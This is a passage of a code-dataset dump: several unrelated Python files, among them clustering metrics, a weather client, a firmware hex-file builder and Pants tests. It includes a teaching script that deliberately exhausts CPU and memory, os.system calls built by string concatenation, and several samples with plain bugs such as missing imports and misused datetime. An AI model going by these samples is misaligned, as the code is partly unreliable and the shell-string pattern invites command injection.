bcd_score(X, labels, n_clusters, centroids, cluster_sizes)\n wcd = wcd_score(X, labels, n_clusters, centroids, cluster_sizes)\n p = math.exp(- bcd - wcd) #?????\n\n return - (1.0 - 1.0 / math.exp(p))\n\n\n# Sym Index:\ndef d_ps(X, labels, x_i, cluster_k_index, centroids):\n min1 = sys.float_info.max\n min2 = sys.float_info.max\n centroid = centroids[cluster_k_index]\n\n for j in range(0, len(labels)):\n if labels[j] != cluster_k_index:\n continue\n t = utils.euclidian_dist(centroid + centroid - x_i, X[j]) # TODO: debug if addition is per coordinate\n if t < min1:\n min2 = min1\n min1 = t\n\n return (min1 + min2) / 2.0\n\n\n# sym, Sym Index, max is better, added -\ndef sym(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n\n numerator = sys.float_info.min\n for k in range(0, n_clusters - 1):\n for l in range(k, n_clusters):\n numerator = max(numerator, utils.euclidian_dist(centroids[k], centroids[l]))\n\n denominator = 0.0\n for i in range(0, len(labels)):\n denominator += d_ps(X, labels, X[i], labels[i], centroids)\n return -(numerator / denominator / n_clusters)\n\n\n# cop, COP Index, min is better\ndef cop(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n numerators = [0.0] * n_clusters\n for i in range(0, len(labels)):\n numerators[labels[i]] += utils.euclidian_dist(X[i], centroids[labels[i]])\n\n accumulator = 0.0\n for k in range(0, n_clusters):\n outer_min_dist = sys.float_info.max\n for i in range(0, len(labels)): # iterate elements outside cluster\n if labels[i] == k: continue\n inner_max_dist = sys.float_info.min\n for j in range(i, len(labels)): # iterate inside cluster\n if labels[j] != k: continue\n inner_max_dist = max(inner_max_dist, utils.euclidian_dist(X[i], X[j]))\n if inner_max_dist != sys.float_info.min:\n # TODO: there are cases, when inner_max_dist is not updated in iner loop. why?\n outer_min_dist = min(outer_min_dist, inner_max_dist)\n accumulator += numerators[k] / outer_min_dist\n return accumulator / len(labels)\n\n\n# sv, SV-Index, max is better, added -\ndef sv(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n\n numerator = 0.0\n for k in range(0, n_clusters - 1):\n min_dist = sys.float_info.max\n for l in range(k + 1, n_clusters):\n min_dist = min(min_dist, utils.euclidian_dist(centroids[k], centroids[l]))\n numerator += min_dist\n\n denominator = 0.0\n for k in range(0, n_clusters):\n list = []\n for i in range(0, len(labels)):\n if labels[i] != k:\n continue\n list.append(utils.euclidian_dist(X[i], centroids[k]))\n\n # get sum of 0.1*|Ck| largest elements\n acc = 0.0\n max_n = heapq.nlargest(int(math.ceil(0.1 * cluster_sizes[k])), list)\n for i in range(0, len(max_n)):\n acc += max_n[i]\n denominator += acc * 10.0 / cluster_sizes[k]\n return - numerator / denominator\n\n\n# OS-Index:\ndef a(X, labels, x_i, cluster_k_index):\n acc = 0.0\n count = 0\n for j in range(0, len(labels)):\n if labels[j] != cluster_k_index: continue\n acc += utils.euclidian_dist(x_i, X[j])\n count += 1\n return acc / count\n\n\ndef b(X, labels, x_i, cluster_k_index):\n dists = []\n c_k_size = 0\n for j in range(0, len(labels)):\n if labels[j] == cluster_k_index:\n c_k_size += 1\n continue\n dists.append(utils.euclidian_dist(x_i, X[j]))\n\n # TODO: it can happen, that c_k_size if bigger than len(dists). Is it supposed to be so?\n\n acc = 0.0\n min_n = heapq.nsmallest(c_k_size, dists)\n for i in range(0, len(min_n)):\n acc += min_n[i]\n return acc / c_k_size\n\n\ndef ov(X, labels, x_i, cluster_k_index):\n a_s = a(X, labels, x_i, cluster_k_index)\n b_s = b(X, labels, x_i, cluster_k_index)\n\n if (b_s - a_s) / (b_s + a_s) < 0.4:\n return a_s / b_s\n else:\n return 0\n\n\n# os, OS-Index, max is better, added -\ndef os(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n\n numerator = 0.0\n for k in range(0, n_clusters):\n for i in range(0, len(labels)):\n if labels[i] != k: continue\n numerator += ov(X, labels, X[i], k)\n\n denominator = 0.0\n for k in range(0, n_clusters):\n l = []\n for i in range(0, len(labels)):\n if labels[i] != k:\n continue\n l.append(utils.euclidian_dist(X[i], centroids[k]))\n\n # get sum of 0.1*|Ck| largest elements\n acc = 0.0\n max_n = heapq.nlargest(int(math.ceil(0.1 * cluster_sizes[k])), l)\n for i in range(0, len(max_n)):\n acc += max_n[i]\n\n denominator += acc * 10.0 / cluster_sizes[k]\n\n return - numerator / denominator\n\n\n# SymDB:\ndef sym_s(X, labels, cluster_k_index, cluster_sizes, centroids):\n acc = 0.0\n for i in range(0, len(labels)):\n if labels[i] != cluster_k_index: continue\n acc += d_ps(X, labels, X[i], cluster_k_index, centroids)\n return acc / float(cluster_sizes[cluster_k_index])\n\n\n# SymDB, Sym Davies-Bouldin index, min is better\ndef sym_db(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n db = 0\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n max_fraction = sys.float_info.min\n for k in range(0, n_clusters):\n for l in range(0, n_clusters):\n if k != l:\n fraction = ((sym_s(X, labels, k, cluster_sizes, centroids) +\n sym_s(X, labels, l, cluster_sizes, centroids))\n / utils.euclidian_dist(centroids[k], centroids[l]))\n max_fraction = max(max_fraction, fraction)\n db += max_fraction\n db /= float(n_clusters)\n return db\n\n\n# S_Dbw: (under construction)\n# def euclidean_norm(x):\n# return np.linalg.norm(x)\n\ndef f(x_i, centroid_k, std):\n if std < utils.euclidian_dist(x_i, centroid_k):\n return 0\n else:\n return 1\n\n\ndef mean(x_i, x_j):\n return (x_i + x_j) / 2\n\n\ndef den2(X, labels, centroids, k, l, std):\n acc = 0.0\n elements = len(X)\n for i in range(0, elements):\n if labels[i] == k or labels[i] == l:\n acc += f(X[i], mean(centroids[k], centroids[l]), std)\n return acc\n\n\ndef den1(X, labels, centroids, k, std):\n acc = 0.0\n elements = len(X)\n for i in range(0, elements):\n if labels[i] == k:\n acc += f(X[i], centroids[k], std)\n return acc\n\n\ndef normed_sigma(X):\n elements = len(X)\n sum = 0.0\n for i in range(0, elements):\n sum += X[i]\n avg = sum / elements\n sigma = 0.0\n\n for i in range(0, elements):\n sigma += (X[i] - avg) * (X[i] - avg)\n sigma /= elements\n return math.sqrt(np.dot(sigma, np.transpose(sigma)))\n\n\ndef normed_cluster_sigma(X, labels, k):\n elements = len(X)\n sum = 0.0\n ck_size = 0\n for i in range(0, elements):\n if labels[i] == k:\n sum += X[i]\n ck_size += 1\n avg = sum / elements\n sigma = 0.0\n\n for i in range(0, elements):\n if labels[i] == k:\n sigma += (X[i] - avg) * (X[i] - avg)\n sigma /= elements\n return math.sqrt(np.dot(sigma, np.transpose(sigma)))\n\n\ndef stdev(X, labels, n_clusters):\n sum = 0.0\n for k in range(0, n_clusters):\n sum += math.sqrt(normed_cluster_sigma(X, labels, k))\n sum /= n_clusters\n return sum\n\n\n# s_dbw, S_Dbw index, min is better\ndef s_dbw(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n\n sigmas = 0.0\n for k in range(0, n_clusters):\n sigmas += normed_cluster_sigma(X, labels, k)\n sigmas /= n_clusters\n sigmas /= normed_sigma(X)\n print(sigmas)\n\n stdev_val = stdev(X, labels, n_clusters)\n print(stdev_val)\n dens = 0.0\n for k in range(0, n_clusters):\n for l in range(0, n_clusters):\n dens += den2(X, labels, centroids, k, l, stdev_val) /\\\n max(den1(X, labels, centroids, k, stdev_val),\n den1(X, labels, centroids, l, stdev_val))\n\n dens /= n_clusters * (n_clusters - 1)\n return sigmas + dens\n","sub_path":"metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":26525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"327575873","text":"import requests\n\nimport settings\n\ndef get_weather(city_name, date):\n weather_url = \"http://api.worldweatheronline.com/premium/v1/weather.ashx\"\n params = {\n 'key': settings.WEATHER_API_KEY,\n 'q': city_name,\n 'date': date,\n 'format': 'json',\n 'num_of_days': 1,\n 'lang': 'en'\n }\n try:\n result = requests.get(weather_url, params=params, timeout=5)\n result.raise_for_status()\n weather = result.json()\n print(weather)\n if 'data' in weather:\n if 'current_condition' in weather['data']:\n try:\n return weather['data']['current_condition'][0]\n except(IndexError, TypeError):\n return False\n except requests.RequestException:\n return False\n return False\n\ndef is_good_weekend_weather(city, date):\n weather = get_weather(city, date)\n if weather:\n weather_temp = weather['temp_C']\n weather_desc = weather['weatherDesc'][0]['value']\n\n good_weather_desc = ['Sunny', 'Clear']\n print(f'In {city} on {date} is {weather_desc}, temperature is {weather_temp} degrees')\n\n return weather_desc in good_weather_desc\n else:\n return False\n\n","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"355365803","text":"# Forever loops\n\n# Sooner or later you will produce a forever loop\n\n# Run this on your local machine\n# Observe CPU and memory during runtime.\n# Use for instance the Windows task manager.\n\nimport sys\nfor i, arg in enumerate(sys.argv[1:]): # chop off first arg, for it is the program file name\n print(\"arg %d is: %s\" % (i+1, arg))\n\nmode = \"\"\n\n\nif len(sys.argv) > 1:\n mode = sys.argv[1]\n\nl = [1,2,3] # a list\n\n\nif mode==\"cpu\":\n # CPU load\n i = 2\n y=0\n #while i > 1: # not obvious\n for j in range(1000*1000*1000): # obvious\n y=y+1\n\n\nif mode==\"memory\":\n # Memory load\n i = 2\n #while i > 1: # not obvious\n for j in range(1000*1000*1000): # obvious\n l.extend([i])\n l.extend(l[:500])\n print(len(l))\n \n\nprint(\"end of program\")","sub_path":"python-intro-3/e07-pitfalls-forever-loops.py","file_name":"e07-pitfalls-forever-loops.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"385958498","text":"\"\"\"\n.. module:: application\n :platform: Unix, Windows\n :synopsis: This module contains the classes and functions used for the GUI.\n\n.. moduleauthor:: Adrien Boutigny <21400748@unicaen.fr>\n\"\"\"\n\n\nimport tkinter\n\nclass Application(Frame):\n \"\"\"The class encapsulating eveything.\"\"\"\n def __init__(self, parent):\n Frame.__init__(self, parent)\n self.parent = parent\n self.button = Button(self, text=\"Hello\", command=self.hello)\n self.button.pack()\n self.pack()\n\n\n def hello(self):\n print(\"Hello\")\n\n\n\ndef main():\n root = Tk()\n root.geometry(\"+0+0\")\n app = Application(root)\n root.mainloop()\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"159397820","text":"\"data extraction from web pages\"\r\n\r\nwiki = \"https://en.wikipedia.org/wiki/List_of_state_and_union_territory_capitals_in_India\"\r\n\r\nimport requests\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\nsource = requests.get(wiki).text\r\n\r\nsoup = BeautifulSoup(source,\"lxml\")\r\n\r\nright_table = soup.find('table',class_='wikitable')\r\n\r\nA = []\r\nB = []\r\nC = []\r\nD = []\r\nE = []\r\nF = []\r\n\r\nfor row in right_table.findAll('tr'):\r\n cells = row.findAll('td')\r\n states = row.findAll('th')\r\n \r\n # if it is first roww, th(count)=7 and td(count)=0\r\n #for rest of the rows th(count)=1 and td(count)=6\r\n \r\n if len(cells) == 6:\r\n A.append(cells[1].text.strip())\r\n B.append(states[0].text.strip())\r\n C.append(cells[2].text.strip())\r\n D.append(cells[3].text.strip())\r\n E.append(cells[4].text.strip())\r\n F.append(cells[5].text.strip())\r\n \r\n \r\nimport pandas as pd\r\n\r\ndf = pd.DataFrame()\r\ndf['State_UT'] = B\r\ndf['Admin_cap'] = A\r\ndf['Legis_cap'] = C\r\ndf['Judi_cap'] = D\r\ndf['Year'] = E\r\ndf['Former_cap'] = F\r\n\r\ndf.to_csv('states.csv',index=False)","sub_path":"Web Scraping.py","file_name":"Web Scraping.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"649640536","text":"import sys\nimport os\nimport hashlib\nimport binascii\nimport re\n\nsha1 = 0\ndebug = 0\n\ndef pad_file(fileIn):\n\tpadSize = 32\n\tpadValue = 0\n\tfileSize = os.path.getsize(fileIn)\n\n\tif(debug):\n\t\tprint(str(fileSize))\n\n\tpadBy = padSize - (fileSize % padSize)\n\n\tif padBy == padSize:\n\t\tpadBy = 0\n\n\tif(debug):\n\t\tprint(str(padBy))\n\n\twith open(fileIn, \"ab\") as fileToPad:\n\t\tfileToPad.write(padValue.to_bytes(1, byteorder = 'big') * padBy)\n\n\tfileSize = os.path.getsize(fileIn)\n\tif(debug):\n\t\tprint(str(fileSize))\n\tfileToPad.close()\n\treturn\n\ndef calculate_sha1(fileIn):\n\t# BUF_SIZE is totally arbitrary, change for your app!\n\tBUF_SIZE = 65536 # lets read stuff in 64kb chunks!\n\n\tsha1 = hashlib.sha1()\n\n\twith open(fileIn, 'rb') as f:\n\t while True:\n\t data = f.read(BUF_SIZE)\n\t if not data:\n\t break\n\t sha1.update(data)\n\n\tif(debug):\n\t\tprint(\"SHA1: {0}\".format(sha1.hexdigest()))\n\treturn sha1\n\nif len(sys.argv) == 4:\n\tbootfile = sys.argv[1]\n\tfileIn = sys.argv[2]\n\tfirmwareVersion = sys.argv[3]\nelse:\n\tsys.exit(\"Usage: <boot.bin> <app.bin> <fwID i.e. F10.2 or 10.2>\\n\")\n\n# pad firmware file\n#------------------\npad_file(fileIn)\n\n# calculate checksum\n#---------------------\nsha1 = calculate_sha1(fileIn)\n\n# format firmware details header\n#-------------------------------\n# get frimware size\nfirmwareSize = os.path.getsize(fileIn)\n\nif(debug):\n\tprint(str('fw size' + firmwareSize))\n\n# get firmware chunk count\nchunkCount = int(firmwareSize / 32)\n\nif(debug):\n\tprint(str('fw chunk count' + chunkCount))\n\n# get fw version ID as hex string\nfwVersion = re.sub('[^0-9.]','', firmwareVersion)\nfwID = fwVersion.split('.')\nfwIDstr = (\"0x%0.2X\" % int(fwID[0])) + (\"%0.2X\" % int(fwID[1]))\n\nif(debug):\n\tprint('firmware version' + fwIDstr)\n\n#get sha1\nsha_checksum = (sha1.digest())\nshaFirst = int.from_bytes(sha_checksum[4:8], 'big')\nshaSecond = int.from_bytes(sha_checksum[8:12], 'big')\nshaThird = int.from_bytes(sha_checksum[12:16], 'big')\nshaFourth = int.from_bytes(sha_checksum[16:20], 'big')\n\nif(debug):\n\tprint(str(shaFirst))\n\tprint(str(shaSecond))\n\tprint(str(shaThird))\n\tprint(str(shaFourth))\n\nfileOut = firmwareVersion + '_withBoot.hex'\nif(debug):\n\tprint(fileOut)\n\n# # stich together boot + firmware details + padded firmware using sRecord\n# #----------------------------------------------------------\n# # srec_cat $bootloader -Binary $paddedFirmware -Binary -offset 0x20100 -generate 0x20000 0x20004 -leconst 0x1f0a 4 -generate 0x20004 0x20008 -beconst $shaFirst 4 -generate 0x20008 0x2000C -beconst $shaSecond 4 -generate 0x2000C 0x20010 -beconst $shaThird 4 -generate 0x20010 0x20014 -beconst $shaFourth 4 -generate 0x20014 0x20018 -leconst $chunkCount 4 -generate 0x20018 0x2001C -leconst $firmwareSize 4 -o combined.hex -Intel -Output_Block_Size 16\n# os.system\nos.system('srec_cat ' + bootfile + ' -Binary ' + fileIn + ' -Binary -offset 0x20100' \\\n\t' -generate 0x20000 0x20004 -CONSTant_Little_Endian ' + fwIDstr + ' 4' \\\n\t' -generate 0x20004 0x20008 -CONSTant_Big_Endian ' + str(shaFirst) + ' 4' \\\n\t' -generate 0x20008 0x2000C -CONSTant_Big_Endian ' + str(shaSecond) + ' 4' \\\n\t' -generate 0x2000C 0x20010 -CONSTant_Big_Endian ' + str(shaThird) + ' 4' \\\n\t' -generate 0x20010 0x20014 -CONSTant_Big_Endian ' + str(shaFourth) + ' 4' \\\n\t' -generate 0x20014 0x20018 -CONSTant_Little_Endian ' + str(chunkCount) + ' 4' \\\n\t' -generate 0x20018 0x2001C -CONSTant_Little_Endian ' + str(firmwareSize) + ' 4' \\\n\t' -o ' + fileOut + ' -Intel -Output_Block_Size 16')\n\nprint('combined hex file ' + fileOut + ' has been generated')\n\n\n","sub_path":"intellisense_app/cmake/hexFileGeneration/combinedHexFileGenerator.py","file_name":"combinedHexFileGenerator.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"578474621","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis script contains the business logic for the sample ArcGIS Python Toolbox.\r\n\r\nIt shows how to iterate a feature class and update a field.\r\nYou could more easily do this using a call to arcpy.CalculateField_management()\r\nbut that's not as interesting an example!\r\n\r\n@author: Brian Wilson <brian@wildsong.biz>\r\n\"\"\"\r\nfrom __future__ import print_function\r\nfrom collections import namedtuple\r\nfrom datetime import datetime\r\nimport arcpy\r\n\r\n__version__ = \"2020-03-29.1\"\r\n\r\ndef set_field_value(input_fc, fieldname, value):\r\n \"\"\" Update the named field in every row of the input feature class with the given value. \"\"\"\r\n \r\n arcpy.AddMessage(\"Version %s\" % __version__)\r\n print(fieldname, value)\r\n \r\n start = 0\r\n step = 1\r\n maxcount = int(arcpy.GetCount_management(input_fc).getOutput(0))\r\n \r\n arcpy.SetProgressor(\"step\", \"Doing serious work here.\", start, maxcount, step)\r\n\r\n # We don't need OID here, just an example\r\n fields = [\"OID@\", fieldname]\r\n\r\n with arcpy.da.UpdateCursor(input_fc, fields) as cursor:\r\n t = 0\r\n for row in cursor:\r\n msg = \"Working.. step %d of %d\" % (t,maxcount)\r\n arcpy.SetProgressorLabel(msg)\r\n\r\n row[1] = value\r\n cursor.updateRow(row)\r\n\r\n arcpy.SetProgressorPosition(t)\r\n t += 1\r\n return\r\n\r\ndef dump_contents(input_fc):\r\n \"\"\" Print the contents of the feature class, this is just a namedtuple sample. \"\"\"\r\n fcrow = namedtuple(\"fcrow\", [\"oid\", \"datestamp\"])\r\n with arcpy.da.SearchCursor(input_fc, [\"OID@\", \"datestamp\"]) as cursor:\r\n for row in cursor:\r\n feature = fcrow._make(row)\r\n print(feature.oid, feature.datestamp)\r\n return\r\n\r\n# ======================================================================\r\n\r\n# UNIT TESTING\r\n# You can run this file directly when writing it to aid in debugging.\r\n# For example, \"Set as Startup File\" when running under Visual Studio.\r\n\r\nif __name__ == '__main__':\r\n arcpy.env.workspace = \".\\\\test_pro\\\\test_pro.gdb\"\r\n input_fc = \"testing_data\"\r\n fieldname = \"datestamp\"\r\n datestring = datetime.datetime.today().strftime(\"%Y/%m/%d %H:%M:%S\")\r\n\r\n arcpy.AddMessage(\"starting geoprocessing\")\r\n set_field_value(input_fc, fieldname, datestring)\r\n \r\n dump_contents(input_fc)\r\n\r\n print(\"Tests successful!\")\r\n exit(0)\r\n# That's all\r\n","sub_path":"some_sample_code.py","file_name":"some_sample_code.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"35639796","text":"import matplotlib.pyplot as plt\nfrom main import *\nfrom random import *\n\n# ********** Task 1 ************\nnum_range = [i for i in range(1, 501, 10)]\nmodulo_divisions = [gcd_avg(i) for i in range(1, 501, 10)]\nnormal_divisions = [consec_gcd_avg(i) for i in range(1, 501, 10)]\n\n#plt.scatter(normal_divisions, num_range, color='r')\nplt.scatter(num_range, normal_divisions, color='r')\nplt.xlabel('Number range')\nplt.ylabel('Normal divisions')\nplt.show()\n\n#plt.scatter(modulo_divisions, num_range, color='b')\nplt.scatter(num_range, modulo_divisions, color='b')\nplt.xlabel('Number range')\nplt.ylabel('Modulo Divisions')\nplt.show()\n\n# ******************************\n\n\n# ********** Task 2 ************\nfib_numbers = [fib_nums(i) for i in range (1, 16)]\nfib_numbers2 = [fib_nums(i) for i in range (1, 350)] # used for time plot\ngcd_numbers = [gcd_from_fib(i) for i in range(1,16)]\n#gcd_numbers2 = []# used for time lot\ntime_for_gcd = []# used for time plot\n# Fills a list of times that it took to calculate the GCD of concurrent numbers in the\n# fibonacci sequence\nfor i in range(1, 350):\n start_time = time.time()\n #gcd_numbers2.insert(i, gcd_from_fib(i))\n gcd_from_fib(i)\n end_time = time.time() - start_time\n time_for_gcd.append(end_time)\n#plt.scatter(gcd_numbers, fib_numbers, color='g')\nplt.scatter(fib_numbers, gcd_numbers, color='g')\nplt.xlabel(\"Fibonacci Number\")\nplt.ylabel(\"Number of Modulous Divisions\")\nplt.show()\n\n# Scatter plot showing time to calculate GCD for a Fibonacci number.\nplt.scatter(fib_numbers2, time_for_gcd, color='r')\nplt.xlabel(\"Fibonacci Numbers\")\nplt.ylabel(\"Time in seconds\")\nplt.show()\n\n# ******************************\n\n\n# ********** Task 3 **********\nnum_list1 = [randint(1000, 9000) for i in range(200)]\nnum_list2 = [randint(2, 49) for i in range(200)]\nmax_list_len = [ms_gcd_count(num_list1[i], num_list2[i]) for i in range(200)]\ncount = [ms_gcd_comparisons(num_list1[i], num_list2[i]) for i in range(200)]\n\nplt.scatter(max_list_len, count, color='b')\nplt.xlabel(\"max(list_1, list_2)\")\nplt.ylabel(\"Basic operations\")\nplt.show()\n\n# ******************************\n\n","sub_path":"scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"320926755","text":"# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nimport re\nimport unittest\nimport unittest.mock\nfrom textwrap import dedent\nfrom typing import Iterable, Optional, cast\n\nimport pytest\n\nfrom pants.base.exceptions import ResolveError\nfrom pants.base.project_tree import Dir\nfrom pants.base.specs import AddressSpecs, SiblingAddresses, SingleAddress\nfrom pants.build_graph.build_file_aliases import BuildFileAliases\nfrom pants.engine.addresses import (\n Address,\n Addresses,\n AddressesWithOrigins,\n AddressInput,\n AddressWithOrigin,\n BuildFileAddress,\n BuildFileAddresses,\n)\nfrom pants.engine.fs import Digest, DigestContents, FileContent, PathGlobs, Snapshot\nfrom pants.engine.internals.build_files import (\n addresses_with_origins_from_address_specs,\n evaluate_preludes,\n parse_address_family,\n strip_address_origins,\n)\nfrom pants.engine.internals.mapper import AddressFamily, AddressMapper\nfrom pants.engine.internals.parser import BuildFilePreludeSymbols, Parser\nfrom pants.engine.internals.scheduler import ExecutionError\nfrom pants.engine.internals.target_adaptor import TargetAdaptor\nfrom pants.engine.rules import RootRule\nfrom pants.engine.target import Target\nfrom pants.testutil.engine.util import MockGet, run_rule\nfrom pants.testutil.test_base import TestBase\nfrom pants.util.frozendict import FrozenDict\n\n\ndef test_parse_address_family_empty() -> None:\n \"\"\"Test that parsing an empty BUILD file results in an empty AddressFamily.\"\"\"\n address_mapper = AddressMapper(\n parser=Parser(target_type_aliases=[], object_aliases=BuildFileAliases())\n )\n af = run_rule(\n parse_address_family,\n rule_args=[address_mapper, BuildFilePreludeSymbols(FrozenDict()), Dir(\"/dev/null\")],\n mock_gets=[\n MockGet(\n product_type=DigestContents,\n subject_type=PathGlobs,\n mock=lambda _: DigestContents([FileContent(path=\"/dev/null/BUILD\", content=b\"\")]),\n ),\n ],\n )\n assert len(af.name_to_target_adaptors) == 0\n\n\ndef resolve_addresses_with_origins_from_address_specs(\n address_specs: AddressSpecs,\n address_family: AddressFamily,\n *,\n tags: Optional[Iterable[str]] = None,\n exclude_patterns: Optional[Iterable[str]] = None\n) -> AddressesWithOrigins:\n address_mapper = AddressMapper(\n Parser(target_type_aliases=[], object_aliases=BuildFileAliases()),\n tags=tags,\n exclude_target_regexps=exclude_patterns,\n )\n snapshot = Snapshot(Digest(\"xx\", 2), (\"root/BUILD\",), ())\n addresses_with_origins = run_rule(\n addresses_with_origins_from_address_specs,\n rule_args=[address_mapper, address_specs],\n mock_gets=[\n MockGet(product_type=Snapshot, subject_type=PathGlobs, mock=lambda _: snapshot),\n MockGet(product_type=AddressFamily, subject_type=Dir, mock=lambda _: address_family,),\n ],\n )\n return cast(AddressesWithOrigins, addresses_with_origins)\n\n\ndef test_address_specs_duplicated() -> None:\n \"\"\"Test that matching the same AddressSpec twice succeeds.\"\"\"\n address_spec = SingleAddress(\"root\", \"root\")\n address_family = AddressFamily(\n \"root\", {\"root\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"root\"))}\n )\n address_specs = AddressSpecs([address_spec, address_spec])\n\n addresses_with_origins = resolve_addresses_with_origins_from_address_specs(\n address_specs, address_family\n )\n assert len(addresses_with_origins) == 1\n awo = addresses_with_origins[0]\n assert str(awo.address) == \"root\"\n assert awo.origin == address_spec\n\n\ndef test_address_specs_tag_filter() -> None:\n \"\"\"Test that targets are filtered based on `tags`.\"\"\"\n address_specs = AddressSpecs([SiblingAddresses(\"root\")], filter_by_global_options=True)\n address_family = AddressFamily(\n \"root\",\n {\n \"a\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"a\")),\n \"b\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"b\", tags={\"integration\"})),\n \"c\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"c\", tags={\"not_integration\"})),\n },\n )\n\n addresses_with_origins = resolve_addresses_with_origins_from_address_specs(\n address_specs, address_family, tags=[\"+integration\"]\n )\n assert len(addresses_with_origins) == 1\n awo = addresses_with_origins[0]\n assert str(awo.address) == \"root:b\"\n assert awo.origin == SiblingAddresses(\"root\")\n\n\ndef test_address_specs_fail_on_nonexistent() -> None:\n \"\"\"Test that address specs referring to nonexistent targets raise a ResolveError.\"\"\"\n address_family = AddressFamily(\n \"root\", {\"a\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"a\"))}\n )\n address_specs = AddressSpecs([SingleAddress(\"root\", \"b\"), SingleAddress(\"root\", \"a\")])\n\n expected_rx_str = re.escape(\"'b' was not found in namespace 'root'. Did you mean one of:\\n :a\")\n with pytest.raises(ResolveError, match=expected_rx_str):\n resolve_addresses_with_origins_from_address_specs(address_specs, address_family)\n\n # Ensure that we still catch nonexistent targets later on in the list of command-line\n # address specs.\n address_specs = AddressSpecs([SingleAddress(\"root\", \"a\"), SingleAddress(\"root\", \"b\")])\n with pytest.raises(ResolveError, match=expected_rx_str):\n resolve_addresses_with_origins_from_address_specs(address_specs, address_family)\n\n\ndef test_address_specs_exclude_pattern() -> None:\n \"\"\"Test that targets are filtered based on exclude patterns.\"\"\"\n address_specs = AddressSpecs([SiblingAddresses(\"root\")], filter_by_global_options=True)\n address_family = AddressFamily(\n \"root\",\n {\n \"exclude_me\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"exclude_me\")),\n \"not_me\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"not_me\")),\n },\n )\n\n addresses_with_origins = resolve_addresses_with_origins_from_address_specs(\n address_specs, address_family, exclude_patterns=[\".exclude*\"]\n )\n assert len(addresses_with_origins) == 1\n awo = addresses_with_origins[0]\n assert str(awo.address) == \"root:not_me\"\n assert awo.origin == SiblingAddresses(\"root\")\n\n\ndef test_address_specs_exclude_pattern_with_single_address() -> None:\n \"\"\"Test that single address targets are filtered based on exclude patterns.\"\"\"\n address_specs = AddressSpecs([SingleAddress(\"root\", \"not_me\")], filter_by_global_options=True)\n address_family = AddressFamily(\n \"root\", {\"not_me\": (\"root/BUILD\", TargetAdaptor(type_alias=\"\", name=\"not_me\"))}\n )\n assert not resolve_addresses_with_origins_from_address_specs(\n address_specs, address_family, exclude_patterns=[\"root.*\"]\n )\n\n\ndef run_prelude_parsing_rule(prelude_content: str) -> BuildFilePreludeSymbols:\n address_mapper = unittest.mock.Mock()\n address_mapper.prelude_glob_patterns = (\"prelude\",)\n symbols = run_rule(\n evaluate_preludes,\n rule_args=[address_mapper],\n mock_gets=[\n MockGet(\n product_type=DigestContents,\n subject_type=PathGlobs,\n mock=lambda _: DigestContents(\n [FileContent(path=\"/dev/null/prelude\", content=prelude_content.encode())]\n ),\n ),\n ],\n )\n return cast(BuildFilePreludeSymbols, symbols)\n\n\ndef test_prelude_parsing_good() -> None:\n result = run_prelude_parsing_rule(\"def foo(): return 1\")\n assert result.symbols[\"foo\"]() == 1\n\n\ndef test_prelude_parsing_syntax_error() -> None:\n with pytest.raises(\n Exception, match=\"Error parsing prelude file /dev/null/prelude: name 'blah' is not defined\"\n ):\n run_prelude_parsing_rule(\"blah\")\n\n\ndef test_prelude_parsing_illegal_import() -> None:\n prelude_content = dedent(\n \"\"\"\\\n import os\n def make_target():\n python_library()\n \"\"\"\n )\n with pytest.raises(\n Exception,\n match=\"Import used in /dev/null/prelude at line 1\\\\. Import statements are banned\",\n ):\n run_prelude_parsing_rule(prelude_content)\n\n\ndef test_strip_address_origin() -> None:\n addr = Address.parse(\"//:demo\")\n result = run_rule(\n strip_address_origins,\n rule_args=[AddressesWithOrigins([AddressWithOrigin(addr, SingleAddress(\"\", \"demo\"))])],\n )\n assert list(result) == [addr]\n\n\nclass MockTgt(Target):\n alias = \"mock_tgt\"\n core_fields = ()\n\n\nclass BuildFileIntegrationTest(TestBase):\n @classmethod\n def target_types(cls):\n return [MockTgt]\n\n @classmethod\n def rules(cls):\n return (*super().rules(), RootRule(Addresses))\n\n def 